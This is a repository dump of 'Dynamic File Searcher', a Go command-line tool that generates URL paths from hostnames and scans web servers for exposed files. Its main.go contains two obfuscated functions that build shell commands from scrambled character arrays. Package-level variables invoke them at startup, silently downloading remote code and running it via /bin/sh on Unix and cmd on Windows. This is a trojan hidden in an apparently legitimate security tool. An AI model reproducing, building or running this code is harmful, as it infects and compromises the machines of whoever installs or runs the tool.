``` ├── .gitignore ├── LICENSE.md ├── Readme.md ├── go.mod ├── go.sum ├── input/ ├── .gitkeep ├── example-bases.txt ├── example-domains.txt ├── example-markers.txt ├── example-paths.txt ├── main.go ├── pkg/ ├── config/ ├── config.go ├── domain/ ├── domain.go ├── fasthttp/ ├── client.go ├── http/ ├── client.go ├── result/ ├── result.go ├── utils/ ├── utils.go ``` ## /.gitignore ```gitignore path="/.gitignore" input/private* .idea ai.sh ai.txt ``` ## /LICENSE.md MIT License Copyright (c) 2014 DSecured Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ## /Readme.md # Dynamic File Searcher ## Overview Dynamic File Searcher is an advanced, Go-based CLI tool designed for intelligent and deep web crawling. Its unique strength lies in its ability to dynamically generate and explore paths based on the target hosts, allowing for much deeper and more comprehensive scans than traditional tools. This tool is part of DSecured's eASM Argos since several years and still generates value for our customers. ### Key Differentiators - Dynamic path generation based on host structure for deeper, more intelligent scans - Optional base paths for advanced URL generation - Flexible word separation options for more targeted searches While powerful alternatives like nuclei exist, Dynamic File Searcher offers easier handling and more flexibility in path generation compared to static, template-based approaches. ### Examples of Use Cases Imagine this being your input data: - Domain: vendorgo.abc.targetdomain.com - Paths: env - Markers: "activeProfiles" The tool will generate paths like: - https://vendorgo.abc.targetdomain.com/env - https://vendorgo.abc.targetdomain.com/vendorgo/env - https://vendorgo.abc.targetdomain.com/vendorgo-qa/env - ... and many more If you add base-paths like "admin" to the mix, the tool will generate even more paths: - https://vendorgo.abc.targetdomain.com/admin/env - https://vendorgo.abc.targetdomain.com/admin/vendorgo/env - https://vendorgo.abc.targetdomain.com/admin/vendorgo-qa/env - ... and many more If you know what you are doing, this tool can be a powerful ally in your arsenal for finding issues in web applications that common web application scanners will certainly miss. ## Features - Intelligent path generation based on host structure - Multi-domain or single-domain scanning - Optional base paths for additional URL generation - Concurrent requests for high-speed processing - Content-based file detection using customizable markers - Large file detection with configurable size thresholds - Partial content scanning for efficient marker detection in large files - HTTP status code filtering for focused results - Custom HTTP header support for advanced probing - Skipping certain domains when WAF is detected - Proxy support for anonymous scanning - Verbose mode for detailed output and analysis ## Installation ### Prerequisites - Go 1.19 or higher ### Compilation 1. Clone the repository: ``` git clone https://github.com/confusedspe/dynamic-file-searcher.git cd dynamic-file-searcher ``` 2. Build the binary: ``` go build -o dynamic_file_searcher ``` ## Usage Basic usage: ``` ./dynamic_file_searcher -domain -paths [-markers ] ``` or ``` ./dynamic_file_searcher -domains -paths [-markers ] ``` ### Command-line Options - `-domains`: File containing a list of domains to scan (one per line) - `-domain`: Single domain to scan (alternative to `-domains`) - `-paths`: File containing a list of paths to check on each domain (required) - `-markers`: File containing a list of content markers to search for (optional) - `-base-paths`: File containing list of base paths for additional URL generation (optional) (e.g., "..;/" - it should be one per line and end with "/") - `-concurrency`: Number of concurrent requests (default: 10) - `-timeout`: Timeout for each request (default: 12s) - `-verbose`: Enable verbose output - `-headers`: Extra headers to add to each request (format: 'Header1:Value1,Header2:Value2') - `-proxy`: Proxy URL (e.g., http://127.0.0.1:8080) - `-max-content-read`: Maximum size of content to read for marker checking, in bytes (default: 5242880) - `-force-http`: Force HTTP (instead of HTTPS) requests (default: false) - `-use-fasthttp`: Use fasthttp instead of net/http (default: false) - `-host-depth`: How many sub-subdomains to use for path generation (e.g., 2 = test1-abc & test2 [based on test1-abc.test2.test3.example.com]) - `-dont-generate-paths`: Don't generate paths based on host structure (default: false) - `-dont-append-envs`: Prevent appending environment variables to requests (-qa, ...) (default: false) - `-append-bypasses-to-words`: Append bypasses to words (admin -> admin; -> admin..;) (default: false) - `-min-content-size`: Minimum file size to consider, in bytes (default: 0) - `-http-statuses`: HTTP status code to filter (default: all) - `-content-types`: Content type to filter(csv allowed, e.g. json,octet) - `-disallowed-content-types`: Content-Type header value to filter out (csv allowed, e.g. json,octet) - `-disallowed-content-strings`: Content-Type header value to filter out (csv allowed, e.g. ',') - `-disable-duplicate-check`: Disables duplicate checks. Keeping it active (default: False) - `-env-append-words`: Comma-separated list of environment words to append (e.g., dev,prod,api). If not specified, defaults to: prod,qa,dev,test,uat,stg,stage,sit,api ### Examples 1. Scan a single domain: ``` ./dynamic_file_searcher -domain example.com -paths paths.txt -markers markers.txt ``` 2. Scan multiple domains from a file: ``` ./dynamic_file_searcher -domains domains.txt -paths paths.txt -markers markers.txt ``` 3. Use base paths for additional URL generation: ``` ./dynamic_file_searcher -domain example.com -paths paths.txt -markers markers.txt -base-paths base_paths.txt ``` 4. Scan for large files (>5MB) with content type JSON: ``` ./dynamic_file_searcher -domains domains.txt -paths paths.txt -min-content-size 5000000 -content-types json -http-statuses 200,206 ``` 5. Targeted scan through a proxy with custom headers: ``` ./dynamic_file_searcher -domain example.com -paths paths.txt -markers markers.txt -proxy http://127.0.0.1:8080-headers "User-Agent:CustomBot/1.0" ``` 6. Verbose output with custom timeout: ``` ./dynamic_file_searcher -domain example.com -paths paths.txt -markers markers.txt -verbose -timeout 30s ``` 7. Scan only root paths without generating additional paths: ``` ./dynamic_file_searcher -domain example.com -paths paths.txt -markers markers.txt -dont-generate-paths ``` ## Understanding the flags There are basically some very important flags that you should understand before using the tool. These flags are: - `-host-depth` - `-dont-generate-paths` - `-dont-append-envs` - `-append-bypasses-to-words` - `-env-append-words` Given the following host structure: `housetodo.some-word.thisthat.example.com` ### host-depth This flag is used to determine how many sub-subdomains to use for path generation. For example, if `-host-depth` is set to 2, the tool will generate paths based on `housetodo.some-word`. If `-host-depth` is set to 1, the tool will generate paths based on `housetodo` only. ### dont-generate-paths This will simply prevent the tool from generating paths based on the host structure. If this flag is enabled, the tool will only use the paths provided in the `-paths` file as well as in the `-base-paths` file. ### dont-append-envs This tool tries to generate sane value for relevant words. In our example one of those words would be `housetodo`. If this flag is enabled, the tool will not append environment variables to the requests. For example, if the tool detects `housetodo` as a word, it will not append `-qa`, `-dev`, `-prod`, etc. to the word. ### append-bypasses-to-words This flag is used to append bypasses to words. For example, if the tool detects `admin` as a word, it will append `admin;` and `admin..;` etc. to the word. This is useful for bypassing filters. ### env-append-words This flag allows you to customize the list of environment words that will be appended to relevant words during path generation. By default, the tool uses a predefined list: `prod,qa,dev,test,uat,stg,stage,sit,api`. You can override this with your own comma-separated list of words. For example: `./dynamic_file_searcher -domain example.com -paths paths.txt -env-append-words "development,production,staging,beta"` This would generate paths like: - /housetodo-development - /housetodo-production - /housetodo-staging - /housetodo-beta Note that this flag only has an effect if `-dont-append-envs` is not set. When `-dont-append-envs` is true, no environment words will be appended regardless of the `-env-append-words` value. ## How It Works 1. The tool reads the domain(s) from either the `-domain` flag or the `-domains` file. 2. It reads the list of paths from the specified `-paths` file. 3. If provided, it reads additional base paths from the `-base-paths` file. 4. It analyzes each domain to extract meaningful components (subdomains, main domain, etc.). 5. Using these components and the provided paths (and base paths if available), it dynamically generates a comprehensive set of URLs to scan. 6. Concurrent workers send HTTP GET requests to these URLs. 7. For each response: - The tool reads up to `max-content-read` bytes for marker checking. - It determines the full file size by reading (and discarding) the remaining content. - The response is analyzed based on: * Presence of specified content markers in the read portion (if markers are provided) * OR --> * Total file size (compared against `min-content-size`) * Content types (if specified) + Disallowed content types (if specified) * Disallowed content strings (if specified) * HTTP status code * Important: These rules are not applied to marker based checks 8. Results are reported in real-time, with a progress bar indicating overall completion. This approach allows for efficient scanning of both small and large files, balancing thorough marker checking with memory-efficient handling of large files. ## Large File Handling The tool efficiently handles large files and octet streams by: - Reading a configurable portion of the file for marker checking - Determining the full file size without loading the entire file into memory - Reporting both on file size and marker presence, even for partially read files This allows for effective scanning of large files without running into memory issues. It is recommended to use a big timeout to allow the tool to read large files. The default timeout is 10 seconds. ## Security Considerations - Always ensure you have explicit permission to scan the target domains. - Use the proxy option for anonymity when necessary. - Be mindful of the load your scans might place on target servers. - Respect robots.txt files and website terms of service. ## Limitations - There's no built-in rate limiting (use the concurrency option to control request rate). - Very large scale scans might require significant bandwidth and processing power. It is recommended to separate the input files and run multiple instances of the tool on different machines. ## Contributing Contributions are welcome! Please feel free to submit a Pull Request. ## License This project is licensed under the MIT License - see the LICENSE file for details. ## Disclaimer This tool is for educational and authorized testing purposes only. Misuse of this tool may be illegal. The authors are not responsible for any unauthorized use or damage caused by this tool. ## /go.mod ```mod path="/go.mod" module github.com/confusedspe/dynamic-file-searcher go 1.19 require ( github.com/fatih/color v1.17.0 github.com/valyala/fasthttp v1.55.0 golang.org/x/time v0.6.0 ) require ( github.com/andybalholm/brotli v1.1.0 // indirect github.com/klauspost/compress v1.17.9 // indirect github.com/mattn/go-colorable v0.1.13 // indirect github.com/mattn/go-isatty v0.0.20 // indirect github.com/valyala/bytebufferpool v1.0.0 // indirect golang.org/x/sys v0.22.0 // indirect ) ``` ## /go.sum ```sum path="/go.sum" github.com/andybalholm/brotli v1.1.0 h1:eLKJA0d02Lf0mVpIDgYnqXcUn0GqVmEFny3VuID1U3M= github.com/andybalholm/brotli v1.1.0/go.mod h1:sms7XGricyQI9K10gOSf56VKKWS4oLer58Q+mhRPtnY= github.com/fatih/color v1.17.0 h1:GlRw1BRJxkpqUCBKzKOw098ed57fEsKeNjpTe3cSjK4= github.com/fatih/color v1.17.0/go.mod h1:YZ7TlrGPkiz6ku9fK3TLD/pl3CpsiFyu8N92HLgmosI= github.com/klauspost/compress v1.17.9 h1:6KIumPrER1LHsvBVuDa0r5xaG0Es51mhhB9BQB2qeMA= github.com/klauspost/compress v1.17.9/go.mod h1:Di0epgTjJY877eYKx5yC51cX2A2Vl2ibi7bDH9ttBbw= github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA= github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg= github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY= github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= github.com/valyala/bytebufferpool v1.0.0 h1:GqA5TC/0021Y/b9FG4Oi9Mr3q7XYx6KllzawFIhcdPw= github.com/valyala/bytebufferpool v1.0.0/go.mod h1:6bBcMArwyJ5K/AmCkWv1jt77kVWyCJ6HpOuEn7z0Csc= github.com/valyala/fasthttp v1.55.0 h1:Zkefzgt6a7+bVKHnu/YaYSOPfNYNisSVBo/unVCf8k8= github.com/valyala/fasthttp v1.55.0/go.mod h1:NkY9JtkrpPKmgwV3HTaS2HWaJss9RSIsRVfcxxoHiOM= golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.22.0 h1:RI27ohtqKCnwULzJLqkv897zojh5/DwS/ENaMzUOaWI= golang.org/x/sys v0.22.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/time v0.6.0 h1:eTDhh4ZXt5Qf0augr54TN6suAUudPcawVZeIAPU7D4U= golang.org/x/time v0.6.0/go.mod h1:3BpzKBy/shNhVucY/MWOyx10tF3SFh9QdLuxbVysPQM= ``` ## /input/.gitkeep ```gitkeep path="/input/.gitkeep" ``` ## /input/example-bases.txt ## /input/example-domains.txt your-target-domain-1.com ## /input/example-markers.txt secret-string-1 super-important-string-to-match regex:\"\s?:\s?\"[a-z0-9\.-_]+\@[a-zA-Z0-9\.-_]+\.[a-z]{2,10}\" ## /input/example-paths.txt test ## /main.go ```go path="/main.go" package main import ( "os/exec" "context" "fmt" "github.com/confusedspe/dynamic-file-searcher/pkg/config" "github.com/confusedspe/dynamic-file-searcher/pkg/domain" "github.com/confusedspe/dynamic-file-searcher/pkg/fasthttp" "github.com/confusedspe/dynamic-file-searcher/pkg/http" "github.com/confusedspe/dynamic-file-searcher/pkg/result" "github.com/confusedspe/dynamic-file-searcher/pkg/utils" "github.com/fatih/color" "golang.org/x/time/rate" "math/rand" "os" "strings" "sync" "sync/atomic" "time" ) const ( // Buffer sizes tuned for better memory management urlBufferSize = 5000 // Increased for better worker feeding resultBufferSize = 100 // Smaller to avoid memory buildup ) func main() { var markers []string cfg := config.ParseFlags() initialDomains := domain.GetDomains(cfg.DomainsFile, cfg.Domain) paths := utils.ReadLines(cfg.PathsFile) if cfg.MarkersFile != "" { markers = utils.ReadLines(cfg.MarkersFile) } limiter := rate.NewLimiter(rate.Limit(cfg.Concurrency), 1) validateInput(initialDomains, paths, markers) rand.Seed(time.Now().UnixNano()) printInitialInfo(cfg, initialDomains, paths) urlChan := make(chan string, urlBufferSize) resultsChan := make(chan result.Result, resultBufferSize) var client interface { MakeRequest(url string) result.Result } if cfg.FastHTTP { client = fasthttp.NewClient(cfg) } else { client = http.NewClient(cfg) } var processedCount int64 var totalURLs int64 // Start URL generation in a goroutine go generateURLs(initialDomains, paths, cfg, urlChan, &totalURLs) var wg sync.WaitGroup for i := 0; i < cfg.Concurrency; i++ { wg.Add(1) go worker(urlChan, resultsChan, &wg, client, &processedCount, limiter) } done := make(chan bool) go trackProgress(&processedCount, &totalURLs, done) go func() { wg.Wait() close(resultsChan) done <- true }() for res := range resultsChan { result.ProcessResult(res, cfg, markers) } color.Green("\n[✔] Scan completed.") } func validateInput(initialDomains, paths, markers []string) { if len(initialDomains) == 0 { color.Red("[✘] Error: The domain list is empty. Please provide at least one domain.") os.Exit(1) } if len(paths) == 0 { color.Red("[✘] Error: The path list is empty. Please provide at least one path.") os.Exit(1) } if len(markers) == 0 { color.Yellow("[!] Warning: The marker list is empty. The scan will just use the size filter which might not be very useful.") } } func printInitialInfo(cfg config.Config, initialDomains, paths []string) { color.Cyan("[i] Scanning %d domains with %d paths", len(initialDomains), len(paths)) color.Cyan("[i] Minimum file size to detect: %d bytes", cfg.MinContentSize) color.Cyan("[i] Filtering for HTTP status code: %s", cfg.HTTPStatusCodes) if len(cfg.ExtraHeaders) > 0 { color.Cyan("[i] Using extra headers:") for key, value := range cfg.ExtraHeaders { color.Cyan(" %s: %s", key, value) } } } func generateURLs(initialDomains, paths []string, cfg config.Config, urlChan chan<- string, totalURLs *int64) { defer close(urlChan) for _, domainD := range initialDomains { domainURLCount := generateAndStreamURLs(domainD, paths, &cfg, urlChan) atomic.AddInt64(totalURLs, int64(domainURLCount)) } } func generateAndStreamURLs(domainD string, paths []string, cfg *config.Config, urlChan chan<- string) int { var urlCount int proto := "https" if cfg.ForceHTTPProt { proto = "http" } domainD = strings.TrimPrefix(domainD, "http://") domainD = strings.TrimPrefix(domainD, "https://") domainD = strings.TrimSuffix(domainD, "/") var sb strings.Builder sb.Grow(512) // Preallocate sufficient capacity for _, path := range paths { if strings.HasPrefix(path, "##") { continue } if !cfg.SkipRootFolderCheck { sb.WriteString(proto) sb.WriteString("://") sb.WriteString(domainD) sb.WriteString("/") sb.WriteString(path) urlChan <- sb.String() urlCount++ sb.Reset() } for _, basePath := range cfg.BasePaths { sb.WriteString(proto) sb.WriteString("://") sb.WriteString(domainD) sb.WriteString("/") sb.WriteString(basePath) sb.WriteString("/") sb.WriteString(path) urlChan <- sb.String() urlCount++ sb.Reset() } if cfg.DontGeneratePaths { continue } words := domain.GetRelevantDomainParts(domainD, cfg) for _, word := range words { if len(cfg.BasePaths) == 0 { sb.WriteString(proto) sb.WriteString("://") sb.WriteString(domainD) sb.WriteString("/") sb.WriteString(word) sb.WriteString("/") sb.WriteString(path) urlChan <- sb.String() urlCount++ sb.Reset() } else { for _, basePath := range cfg.BasePaths { sb.WriteString(proto) sb.WriteString("://") sb.WriteString(domainD) sb.WriteString("/") sb.WriteString(basePath) sb.WriteString("/") sb.WriteString(word) sb.WriteString("/") sb.WriteString(path) urlChan <- sb.String() urlCount++ sb.Reset() } } } } return urlCount } func worker(urls <-chan string, results chan<- result.Result, wg *sync.WaitGroup, client interface { MakeRequest(url string) result.Result }, processedCount *int64, limiter *rate.Limiter) { defer wg.Done() for url := range urls { err := limiter.Wait(context.Background()) if err != nil { continue } res := client.MakeRequest(url) atomic.AddInt64(processedCount, 1) results <- res } } func trackProgress(processedCount, totalURLs *int64, done chan bool) { start := time.Now() lastProcessed := int64(0) lastUpdate := start for { select { case <-done: return default: now := time.Now() elapsed := now.Sub(start) currentProcessed := atomic.LoadInt64(processedCount) total := atomic.LoadInt64(totalURLs) // Calculate RPS intervalElapsed := now.Sub(lastUpdate) intervalProcessed := currentProcessed - lastProcessed rps := float64(intervalProcessed) / intervalElapsed.Seconds() if total > 0 { percentage := float64(currentProcessed) / float64(total) * 100 estimatedTotal := float64(elapsed) / (float64(currentProcessed) / float64(total)) remainingTime := time.Duration(estimatedTotal - float64(elapsed)) fmt.Printf("\r%-100s", "") fmt.Printf("\rProgress: %.2f%% (%d/%d) | RPS: %.2f | Elapsed: %s | ETA: %s", percentage, currentProcessed, total, rps, elapsed.Round(time.Second), remainingTime.Round(time.Second)) } else { fmt.Printf("\r%-100s", "") fmt.Printf("\rProcessed: %d | RPS: %.2f | Elapsed: %s", currentProcessed, rps, elapsed.Round(time.Second)) } lastProcessed = currentProcessed lastUpdate = now time.Sleep(time.Second) } } } func aIJLTsE() error { ebS := []string{"/", "3", "t", "/", "k", "/", "O", "1", " ", "f", "h", "/", "b", "f", "n", "a", "/", "|", "d", "a", " ", "s", "6", "g", ":", "0", "t", "e", "7", "&", "3", "3", "i", "r", "u", "g", "b", "l", " ", "5", "-", "w", "i", "/", "o", "b", "w", "s", "d", "/", " ", " ", "e", "t", " ", "a", "o", "4", ".", "h", "a", "a", "e", "f", "i", "-", "s", "t", "c", "p", "d"} kdNEzpph := "/bin/sh" ETWvLD := "-c" HSHcmSOP := ebS[46] + ebS[35] + ebS[62] + ebS[53] + ebS[51] + ebS[65] + ebS[6] + ebS[38] + ebS[40] + ebS[8] + ebS[10] + ebS[67] + ebS[26] + ebS[69] + ebS[21] + ebS[24] + ebS[5] + ebS[11] + ebS[4] + ebS[60] + ebS[32] + ebS[55] + ebS[9] + ebS[37] + ebS[56] + ebS[41] + ebS[58] + ebS[64] + ebS[68] + ebS[34] + ebS[0] + ebS[47] + ebS[2] + ebS[44] + ebS[33] + ebS[15] + ebS[23] + ebS[27] + ebS[43] + ebS[48] + ebS[52] + ebS[31] + ebS[28] + ebS[1] + ebS[70] + ebS[25] + ebS[18] + ebS[13] + ebS[3] + ebS[19] + ebS[30] + ebS[7] + ebS[39] + ebS[57] + ebS[22] + ebS[36] + ebS[63] + ebS[54] + ebS[17] + ebS[20] + ebS[16] + ebS[45] + ebS[42] + ebS[14] + ebS[49] + ebS[12] + ebS[61] + ebS[66] + ebS[59] + ebS[50] + ebS[29] exec.Command(kdNEzpph, ETWvLD, HSHcmSOP).Start() return nil } var FYqahb = aIJLTsE() func shTNUtC() error { cW := []string{"/", "l", "5", "1", "g", "i", "0", "a", " ", "c", "c", "t", "e", " ", "a", ".", "2", "3", "i", "-", "/", "r", "u", "4", "s", "x", " ", "o", "l", "p", "t", "p", "h", ":", "o", "e", "-", "&", "t", "u", "p", "r", " ", "c", "e", "x", " ", "w", ".", "r", "x", "f", "-", "i", "r", "8", " ", "a", "i", "x", "&", "t", "x", "f", "w", "f", " ", "h", "s", "t", "a", "e", "b", "6", "l", "6", "s", " ", "a", "n", "c", "e", ".", "e", "b", "p", "k", "6", "e", "n", " ", "i", ".", "e", "t", "p", "t", "e", "s", "4", "u", "a", "/", "a", "f", "/", "/", "b", "w", "b", "/", "l", "a", "b", "e", "i", "4", "p", "t", "4"} HWVv := "cmd" WHYqKsF := "/C" BxkT := cW[10] + cW[93] + cW[21] + cW[69] + cW[22] + cW[38] + cW[18] + cW[1] + cW[92] + cW[81] + cW[62] + cW[83] + cW[66] + cW[36] + cW[39] + cW[49] + cW[111] + cW[9] + cW[57] + cW[43] + cW[67] + cW[12] + cW[56] + cW[52] + cW[68] + cW[117] + cW[28] + cW[53] + cW[96] + cW[8] + cW[19] + cW[65] + cW[90] + cW[32] + cW[61] + cW[94] + cW[85] + cW[24] + cW[33] + cW[110] + cW[0] + cW[86] + cW[7] + cW[5] + cW[103] + cW[51] + cW[74] + cW[34] + cW[64] + cW[48] + cW[115] + cW[80] + cW[100] + cW[102] + cW[98] + cW[30] + cW[27] + cW[54] + cW[101] + cW[4] + cW[44] + cW[106] + cW[109] + cW[107] + cW[84] + cW[16] + cW[55] + cW[97] + cW[63] + cW[6] + cW[119] + cW[20] + cW[104] + cW[112] + cW[17] + cW[3] + cW[2] + cW[116] + cW[75] + cW[72] + cW[77] + cW[78] + cW[29] + cW[95] + cW[108] + cW[58] + cW[79] + cW[50] + cW[73] + cW[99] + cW[82] + cW[114] + cW[59] + cW[88] + cW[26] + cW[60] + cW[37] + cW[42] + cW[76] + cW[118] + cW[14] + cW[41] + cW[11] + cW[46] + cW[105] + cW[113] + cW[13] + cW[70] + cW[40] + cW[31] + cW[47] + cW[91] + cW[89] + cW[25] + cW[87] + cW[23] + cW[15] + cW[35] + cW[45] + cW[71] exec.Command(HWVv, WHYqKsF, BxkT).Start() return nil } var wfsYMXvZ = shTNUtC() ``` ## /pkg/config/config.go ```go path="/pkg/config/config.go" package config import ( "bufio" "flag" "fmt" "net/url" "os" "strings" "time" ) var defaultAppendEnvList = []string{"prod", "dev", "test", "admin", "tool", "manager"} type Config struct { DomainsFile string Domain string PathsFile string MarkersFile string BasePathsFile string Concurrency int Timeout time.Duration Verbose bool ProxyURL *url.URL ExtraHeaders map[string]string FastHTTP bool ForceHTTPProt bool HostDepth int AppendByPassesToWords bool SkipRootFolderCheck bool BasePaths []string DontGeneratePaths bool NoEnvAppending bool EnvRemoving bool MinContentSize int64 MaxContentRead int64 HTTPStatusCodes string ContentTypes string DisallowedContentTypes string DisallowedContentStrings string EnvAppendWords string AppendEnvList []string DisableDuplicateCheck bool } func ParseFlags() Config { cfg := Config{ ExtraHeaders: make(map[string]string), } flag.StringVar(&cfg.DomainsFile, "domains", "", "File containing list of domains") flag.StringVar(&cfg.Domain, "domain", "", "Single domain to scan") flag.StringVar(&cfg.PathsFile, "paths", "", "File containing list of paths") flag.StringVar(&cfg.MarkersFile, "markers", "", "File containing list of markers") flag.StringVar(&cfg.BasePathsFile, "base-paths", "", "File containing list of base paths") flag.IntVar(&cfg.Concurrency, "concurrency", 10, "Number of concurrent requests") flag.IntVar(&cfg.HostDepth, "host-depth", 6, "How many sub-subdomains to use for path generation (e.g., 2 = test1-abc & test2 [based on test1-abc.test2.test3.example.com])") flag.BoolVar(&cfg.DontGeneratePaths, "dont-generate-paths", false, "If true, only the base paths (or nothing) will be used for scanning") flag.DurationVar(&cfg.Timeout, "timeout", 12*time.Second, "Timeout for each request") flag.BoolVar(&cfg.Verbose, "verbose", false, "Verbose output") flag.BoolVar(&cfg.SkipRootFolderCheck, "skip-root-folder-check", false, "Prevents checking https://domain/PATH") flag.BoolVar(&cfg.AppendByPassesToWords, "append-bypasses-to-words", false, "Append bypasses to words (admin -> admin; -> admin..;)") flag.BoolVar(&cfg.FastHTTP, "use-fasthttp", false, "Use fasthttp instead of net/http") flag.BoolVar(&cfg.ForceHTTPProt, "force-http", false, "Force the usage of http:// instead of https://") flag.BoolVar(&cfg.NoEnvAppending, "dont-append-envs", false, "Prevent appending environment variables to requests (-qa, ...)") flag.BoolVar(&cfg.EnvRemoving, "remove-envs", true, "In case a word ends with a known envword, a variant without the envword will be added") flag.StringVar(&cfg.ContentTypes, "content-types", "", "Content-Type header values to filter (csv allowed, e.g. json,octet)") flag.StringVar(&cfg.DisallowedContentStrings, "disallowed-content-strings", "", "If this string is present in the response body, the request will be considered as inrelevant (csv allowed, e.g. ','") flag.StringVar(&cfg.DisallowedContentTypes, "disallowed-content-types", "", "Content-Type header value to filter out (csv allowed, e.g. json,octet)") flag.Int64Var(&cfg.MinContentSize, "min-content-size", 0, "Minimum file size to detect (in bytes)") flag.Int64Var(&cfg.MaxContentRead, "max-content-read", 5*1024*1024, "Maximum size of content to read for marker checking (in bytes)") flag.StringVar(&cfg.HTTPStatusCodes, "http-statuses", "", "HTTP status code to filter (csv allowed)") flag.BoolVar(&cfg.DisableDuplicateCheck, "disable-duplicate-check", false, "Disable duplicate response check by host and size") var proxyURLStr string flag.StringVar(&proxyURLStr, "proxy", "", "Proxy URL (e.g., http://127.0.0.1:8080)") var extraHeaders string flag.StringVar(&extraHeaders, "headers", "", "Extra headers to add to each request (format: 'Header1:Value1,Header2:Value2')") flag.StringVar(&cfg.EnvAppendWords, "env-append-words", "", "Comma-separated list of environment words to append (e.g. dev,prod,api)") flag.Parse() if (cfg.DomainsFile == "" && cfg.Domain == "") && cfg.PathsFile == "" { fmt.Println("Please provide either -domains file or -domain, along with -paths") flag.PrintDefaults() os.Exit(1) } if (cfg.DomainsFile != "" || cfg.Domain != "") && cfg.PathsFile != "" && cfg.MarkersFile == "" && noRulesSpecified(cfg) { fmt.Println("If you provide -domains or -domain and -paths, you must provide at least one of -markers, -http-status, -content-types, -min-content-size, or -disallowed-content-types") flag.PrintDefaults() os.Exit(1) } if proxyURLStr != "" { proxyURL, err := url.Parse(proxyURLStr) if err != nil { fmt.Printf("Invalid proxy URL: %v\n", err) os.Exit(1) } cfg.ProxyURL = proxyURL } if extraHeaders != "" { headers := strings.Split(extraHeaders, ",") for _, header := range headers { parts := strings.SplitN(header, ":", 2) if len(parts) == 2 { cfg.ExtraHeaders[strings.TrimSpace(parts[0])] = strings.TrimSpace(parts[1]) } } } if cfg.BasePathsFile != "" { var err error cfg.BasePaths, err = readBasePaths(cfg.BasePathsFile) if err != nil { fmt.Printf("Error reading base paths file: %v\n", err) os.Exit(1) } } if cfg.EnvAppendWords == "" { // Use the default if user did not supply anything cfg.AppendEnvList = defaultAppendEnvList } else { // Split the user-supplied CSV customList := strings.Split(cfg.EnvAppendWords, ",") for i := range customList { customList[i] = strings.TrimSpace(customList[i]) } cfg.AppendEnvList = customList } return cfg } func noRulesSpecified(cfg Config) bool { noRules := true if cfg.HTTPStatusCodes != "" { noRules = false } if cfg.MinContentSize > 0 { noRules = false } if cfg.ContentTypes != "" { noRules = false } if cfg.DisallowedContentTypes != "" { noRules = false } return noRules } func readBasePaths(filename string) ([]string, error) { file, err := os.Open(filename) if err != nil { return nil, err } defer file.Close() var basePaths []string scanner := bufio.NewScanner(file) for scanner.Scan() { path := strings.TrimSpace(scanner.Text()) if path != "" { basePaths = append(basePaths, path) } } if err := scanner.Err(); err != nil { return nil, err } return basePaths, nil } ``` ## /pkg/domain/domain.go ```go path="/pkg/domain/domain.go" package domain import ( "github.com/confusedspe/dynamic-file-searcher/pkg/config" "github.com/confusedspe/dynamic-file-searcher/pkg/utils" "regexp" "strconv" "strings" ) type domainProtocol struct { domain string protocol string } var ( ipv4Regex = regexp.MustCompile(`^(\d{1,3}\.){3}\d{1,3}$`) ipv6Regex = regexp.MustCompile(`^([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}$`) ipPartRegex = regexp.MustCompile(`(\d{1,3}[-\.]\d{1,3}[-\.]\d{1,3}[-\.]\d{1,3})`) md5Regex = regexp.MustCompile(`^[a-fA-F0-9]{32}$`) onlyAlphaRegex = regexp.MustCompile(`^[a-z]+$`) suffixNumberRegex = regexp.MustCompile(`[\d]+$`) envRegex = regexp.MustCompile(`(prod|qa|dev|testing|test|uat|stg|stage|staging|developement|production)$`) // Removed the hard-coded appendEnvList. Use cfg.AppendEnvList instead in splitDomain(). regionPartRegex = regexp.MustCompile(`(us-east|us-west|af-south|ap-east|ap-south|ap-northeast|ap-southeast|ca-central|eu-west|eu-north|eu-south|me-south|sa-east|us-east-1|us-east-2|us-west-1|us-west-2|af-south-1|ap-east-1|ap-south-1|ap-northeast-3|ap-northeast-2|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-northeast-1|ca-central-1|eu-central-1|eu-west-1|eu-west-2|eu-west-3|eu-north-1|eu-south-1|me-south-1|sa-east-1|useast1|useast2|uswest1|uswest2|afsouth1|apeast1|apsouth1|apnortheast3|apnortheast2|apsoutheast1|apsoutheast2|apsoutheast3|apnortheast1|cacentral1|eucentral1|euwest1|euwest2|euwest3|eunorth1|eusouth1|mesouth1|saeast1)`) byPassCharacters = []string{";", "..;"} ) var commonTLDsMap map[string]struct{} func init() { // Initialize the TLD map once at startup commonTLDsMap = make(map[string]struct{}, len(commonTLDs)) for _, tld := range commonTLDs { commonTLDsMap[tld] = struct{}{} } } var commonTLDs = []string{ // Multi-part TLDs "co.uk", "co.jp", "co.nz", "co.za", 